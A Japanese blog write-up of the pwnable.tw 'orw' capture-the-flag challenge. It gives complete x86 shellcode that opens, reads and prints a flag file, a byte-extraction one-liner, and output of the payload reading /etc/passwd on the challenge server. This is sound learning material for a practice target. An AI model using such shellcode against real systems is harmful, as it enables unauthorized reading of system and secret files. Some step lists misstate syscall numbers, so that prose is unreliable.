トリコロールな猫/セキュリティ

思いついたことをぼちぼち書いてます。

pwnable.twのorwのwrite-up。シェルコードを書く

前回の「start」のwrite-upに思いの外アクセスがあって嬉しかったので、調子に乗って早々に次の問題もやってみました。スコア100の「orw」です。

pwnable.tw

前回のwrite-upは以下。

security.nekotricolor.com

本当は今回からpwn用ツールを色々使ってみようと思ったのですが、使うと一瞬で終わっちゃうので結局使っていません。

環境

ホストはMacbook AirでOSはmacOS Catalina、検証環境はDockerで作っていて、OSはUbuntu 18.04です。
security.nekotricolor.com

以降、MBAのコマンドプロンプトは「%」、DockerのUbuntuは「#」です。

方針

challenges/のorwのページにアクセスすると、以下のようなことが書いてあります。

Read the flag from /home/orw/flag.
Only open read write syscall are allowed to use.

ということで、/home/orw/flagをopenし、readして標準出力かなにかにwriteすればフラグが分かると思われます。

事前調査

問題に書かれているものをとりあえずやってみる

問題のページに書かれているncコマンドを実行してみます。

% nc chall.pwnable.tw 10001
Give my your shellcode:

「Give "me"では?」という気がしますが気にせずリターンキーを押してみるとプロンプトに戻ります。

startと同じく、標準入力になんらかの文字列を入れるパターンのようです。

fileコマンド

問題のページからorwをダウンロードして、fileコマンドでなんのファイルなのかを見てみます。

# file orw
orw: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=e60ecccd9d01c8217387e8b77e9261a1f36b5030, not stripped

実行ファイルのようです。

stringsコマンド

ファイルサイズが前回より大きく、たくさん出ちゃったので途中は略。特に有益な情報はなかったです。

# strings orw
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
__stack_chk_fail
printf
(略)
.fini_array
.jcr
.dynamic
.got.plt
.data
.bss
.comment

ファイルを実行

今回も実行ファイルですので、実行してみます。なお、orwはlibc6-i386がインストールされていない環境だと動かないようです。

# ./orw
Give my your shellcode:

最初にncコマンドで接続したときと同じ文字列が出て待ち状態になります。つまり、chall.pwnable.twの10001番ポートに接続するとこのorwが実行されるのでしょう。

文字列が入力できるときは、とりあえず大量に「a」を入力してみます。

# ./orw
Give my your shellcode:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault

異常終了しました。
「たくさん文字を入れると異常終了する」ということが分かりました。

gdb上で実行する

前回と同じく、せっかく異常終了したのでgdb上で実行して大量の文字列を入力してみます。

# gdb -q ./orw
Reading symbols from ./orw...(no debugging symbols found)...done.
(gdb) r
Starting program: /root/share/orw/orw 
Give my your shellcode:1234567890abcdefghijk

Program received signal SIGSEGV, Segmentation fault.
0x0804a060 in shellcode ()
(gdb) i r
eax            0x804a060	134520928
ecx            0x804a060	134520928
edx            0xc8	200
ebx            0x0	0
esp            0xffffd71c	0xffffd71c
ebp            0xffffd728	0xffffd728
esi            0xf7fc5000	-134459392
edi            0x0	0
eip            0x804a060	0x804a060 <shellcode>
eflags         0x10282	[ SF IF RF ]
cs             0x23	35
ss             0x2b	43
ds             0x2b	43
es             0x2b	43
fs             0x0	0
gs             0x63	99

eip周辺のメモリの中身を見てみますと・・

(gdb) x/10x $eip
0x804a060 <shellcode>:	0x34333231	0x38373635	0x62613039	0x66656463
0x804a070 <shellcode+16>:	0x6a696867	0x00000a6b	0x00000000	0x00000000
0x804a080 <shellcode+32>:	0x00000000	0x00000000
(gdb) 

なんとびっくり入力した文字列がそのまま実行されています。*1
文字列の長さは関係ないですね。とにかく文字列を入力、というかただリターンするだけでも異常終了すると。

ということは、もはや逆アセンブルする必要もなく、「方針」で書いた通り /home/orw/flag を open して read して write するシェルコードを標準入力に与えればいいわけですね。

シェルコードを書く

脆弱性をつくわけじゃないので「シェルコード」ではないのかな?特定のファイルをopen/read/writeするアセンブリコードです。

ファイルをopenする

/home/orw/flagというファイルを(read onlyで)openするには、以下のようなシステムコールを実行します。

open("/home/orw/flag", 0, 0)

int 0x80でシステムコールを呼び出す場合、システムコールの番号をeaxに、引数をebxから順番に設定する必要があります。
blog.ishikawa.tech

となると、以下のようなシェルコードを書く必要があります。

  1. /home/orw/flag\x00という文字列をpush(espの指す先に「/home/orw/flag\x00」という文字列が入ることになります)
  2. eaxはopen()システムコールの番号の「5」にする
  3. ebxはespと同値にする
  4. ecx、edx(open()の第二、第三引数)は「0」にする
  5. int 0x80でシステムコールを呼び出す

ただし、「\x00」が途中に入るとプログラムが終了してしまうためそこは一工夫。pwntoolsのshellcraftを参考にしました。(だったらそっちを使えって話ですが)

pwnlib.shellcraft.i386 — Shellcode for Intel 80386 — pwntools 4.0.1 documentation

これの「pwnlib.shellcraft.i386.linux.syscall」の項に、以下のような記述があります。

print(pwnlib.shellcraft.open('/home/pwn/flag').rstrip())
    /* open(file='/home/pwn/flag', oflag=0, mode=0) */
    /* push b'/home/pwn/flag\x00' */
    push 0x1010101
    xor dword ptr [esp], 0x1016660
    push 0x6c662f6e
    push 0x77702f65
    push 0x6d6f682f
    /* call open() */
    push SYS_open /* 5 */
    pop eax
    int 0x80

0x1010101と0x1016660のxorは「0x00006761」、リトルエンディアンを考慮しつつ文字列に変換すると「ag\x00\x00」。つまり、/home/pwn/flag\x00の最後の4バイトになります。賢い。

文字数がちょうど一緒なので、上記の/home/pwn/flagの「pwn」の部分を「orw」にすればこのまま流用できます。実際のアセンブリコードは以下の通りです。

push 0x1010101
xor dword [esp], 0x1016660
push 0x6c662f77
push 0x726f2f65
push 0x6d6f682f
mov ebx, esp
xor ecx, ecx
xor edx, edx
push 0x05
pop eax
int 0x80

ちなみに、前回参考にしたシェルコードの書き方の記事では、「db」という、数値を1バイトのデータとしてメモリに格納する疑似命令を使っていました。文字列が長い場合にはこっちの方が楽ですねたぶん。

book.mynavi.jp

openシステムコールの戻り値はファイルディスクリプタで、eaxにセットされます。ファイルディスクリプタは、0が標準入力、1が標準出力、2が標準エラー出力で、openシステムコールによるファイルディスクリプタは3から順に割り当てられるようです。

qiita.com

readする

ファイルディスクリプタを指定し、64バイト分readしてスタック領域に書き込むには、以下のようなシステムコールを実行します。*2

read(fd, esp, 64)

となると、以下のようなアセンブリコードを書く必要があります。

  1. ebxに、ファイルディスクリプタ(eax)をmovする
  2. ecxはespと同値にする
  3. edxは0x40(= 64)にする
  4. eaxはreadシステムコールの番号の「5」にする
  5. int 0x80でシステムコールを呼び出す

実際のアセンブリコードは以下の通りです。

mov ebx, eax
mov ecx, esp
push 0x40
pop edx
push 0x03
pop eax
int 0x80

writeする

標準出力にespの指す先を64バイト分writeするには、以下のようなシステムコールを実行します。

write(1, esp, 64)

となると、以下のようなアセンブリコードを書く必要があります。

  1. eaxはreadシステムコールの番号の「4」にする
  2. ebxは0x01にする
  3. ecxはespと同値にする
  4. edxは0x40(= 64)にする
  5. int 0x80でシステムコールを呼び出す

実際のアセンブリコードは以下の通りです。

mov ecx, esp
push 0x04
pop eax
push 0x01
pop ebx
push 0x40
pop edx
int 0x80

書いたアセンブリコードを実行してみる

先ほどのアセンブリコードをまとめてshellcode.sとします。分かりやすくするよう、ラベル(_start:とかopen:とか)をつけ、_exitとして終了処理を実行していますが、なくても大丈夫なはず。先頭の「BITS 32」は必要です。なお、終了処理は、exitシステムコール(番号は「1」)を実行するだけです。

BITS 32
global _start

_start:
	jmp open

open:
	push 0x1010101
	xor dword [esp], 0x1016660
	push 0x6c662f77
	push 0x726f2f65
	push 0x6d6f682f
	mov ebx, esp
	push 0x05
	pop eax
	xor ecx, ecx
	xor edx, edx
	int 0x80
    
read:
	mov ebx, eax
	mov ecx, esp
	push 0x40
	pop edx
	push 0x03
	pop eax
	int 0x80

write:
	mov ecx, esp
	push 0x04
	pop eax
	push 0x01
	pop ebx
	push 0x40
	pop edx
	int 0x80

_exit:
	xor eax, eax
	inc eax
	int 0x80

これのバイナリコードをターゲットホストに送信すればフラグが取れるのですが、せっかくなのでローカルホスト上に/home/orw/flagを作成し、ファイルが読めるかやってみます。

生のアセンブリコードを実行できるようにする方法は前回参考にさせていただいたブログに答えが書かれています。というかこの記事って書籍の一部なんですよね。何度も引用させていただいているので書籍が何かも載せておきます。

アセンブリコードを実行ファイルに変換するには、以下のコマンドを実行します。

# nasm -f aout shellcode.s
# ld -m elf_i386 shellcode.o

これでa.outという実行ファイルができたので、実行してみます。なお、flagの中身は「a」の羅列にしました。

# ./a.out
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
?o???w???????

できました。後ろに変な文字列が入っているのは、スタック領域を(flagのサイズを超えて)64バイト分読み込んでいるからです。

(おまけ)シェルコードを短くする

レジスタに数値をセットするのにmovではなくpushとpopを使っているのは、その方がコードが短くなるからです。

movだと5バイト。

B801000000        mov eax, 0x1

pushとpopだと3バイト。

6A01              push 0x1
58                pop eax

シェルコードはものによっては書き込める領域がかなり小さかったりするので、短いに越したことはありません。今回はあまり考えなくても良さそうですが。

Capture the Flag

実行ファイルからバイナリコードを抽出する

これもどーすれば?と思いますよね。まあもう実行ファイルはできているので、gdbやnasmで逆アセンブルし、該当部分をコピペして地道に「\x」をつけてもいいんですが、それをやってくれる素晴らしいワンライナーを見つけたのでご紹介。objdumpでできるそうです。

qiita.com

実行した結果が以下。長いので略。

# objdump -M intel -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g'
\xeb\x00\x68\x01\x01\x01\x01\x81\x34\x24\x60\x66\x01\x01(略)

バイナリコードをターゲットホストに送信する

スクリプトを書いちゃうと答えになっちゃうので書きませんが、送信する部分は前回のスクリプトと同じなのでそちらを参照ください。

実行すると答えが出ちゃうのでそれも載せませんが、せっかくなので、/etc/passwdを読んでみた結果をどうぞ。64バイトしか読んでないので途中で切れてます。

# ruby 100orw_exploit.rb 
>> Give my your shellcode:
<< Sending shellcode....
>> root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/u

なお、実際のスクリプトはpwnable.twのwrite-upのページに載せています。クリアした人のみ閲覧可能です。

感想

脆弱性をどうこうするのではなく、制限されたシステムコールによってフラグのファイルを閲覧する、という、製品のexploitコードを書くときにはありえないシチュエーションが面白かったです。pwntoolsのシェルコード生成のライブラリにこのへんのシステムコールを実行する機能があるということは、割とポピュラーなやり方なんでしょうか?

この問題は脆弱性だけでなく、ASLRとかDEPとかも考える必要がなく、純粋にシェルコードを書くことに特化しているのがとても良かったです。シェルコードの書き方やそれを実行する方法、バイナリコードへの変換など、これまたいい勉強になりました。

*1:正確には、実行しようとして異常終了しています。

*2:64バイトじゃなくても構わないですが、長すぎるとうまく動きません。